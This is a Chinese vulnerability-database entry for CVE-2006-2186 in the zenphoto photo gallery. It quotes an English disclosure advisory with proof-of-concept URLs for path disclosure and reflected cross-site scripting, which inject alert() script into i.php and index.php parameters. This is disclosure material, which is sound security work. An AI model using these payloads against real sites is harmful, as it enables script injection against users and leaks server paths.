Zenphoto 多个信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1195127 漏洞类型 输入验证
发布时间 2006-05-04 更新时间 2006-05-10
CVE编号 CVE-2006-2186 CNNVD-ID CNNVD-200605-068
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://cxsecurity.com/issue/WLB-2006050031
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-068
|漏洞详情
在zenphoto中,远程攻击者借助(1)/photos/themes/default/和(2)/photos/themes/testing/URI的直接请求,在出错信息中显示路经,从而获得敏感信息。
|漏洞EXP
Hi all,

I've found several vulnerabilities in zenphoto, which is a great and simple photo gallery.

I notified the team a month ago, and the new release (zenphoto 1.0.2 beta) fixes all the vulnerabilities.

Thanks to the team for their great application and the fixes.

http://zone14.free.fr/advisories/2/

Vendor: zenphoto

Vulnerable: zenphoto 1.0.1 beta and below

Path Disclosure

http://www.example.com/photos/themes/default/

http://www.example.com/photos/themes/testing/

which returns:

Fatal error: Call to undefined function: printgallerytitle() in /path/photos/themes/default/index.php on line 5

Cross Site Scripting and Path Disclosure

http://www.example.com/photos/zen/i.php?a=%3Cscript%3Ealert('XSS%20Vulne
rable')%3B%3C/script%3E&i=1%2Ejpg&s=thumb

Cross Site Scripting

http://www.example.com/photos/index.php?album=%3Cscript%3Ealert('XSS%20V
ulnerable')%3B%3C/script%3E

http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAMEℑ
='%3E%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E

Solution

Upgrade to zenphoto 1.0.2 beta.
|参考资料

来源:MISC
链接:http://zone14.free.fr/advisories/2/
来源:BID
名称:17779
链接:http://www.securityfocus.com/bid/17779
来源:BUGTRAQ
名称:20060502zenphotoMultiplePathDisclosureandCrossSiteScriptingVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/432718/100/0/threaded
来源:XF
名称:zenphoto-i-path-disclosure(26220)
链接:http://xforce.iss.net/xforce/xfdb/26220
来源:SREASON
名称:834
链接:http://securityreason.com/securityalert/834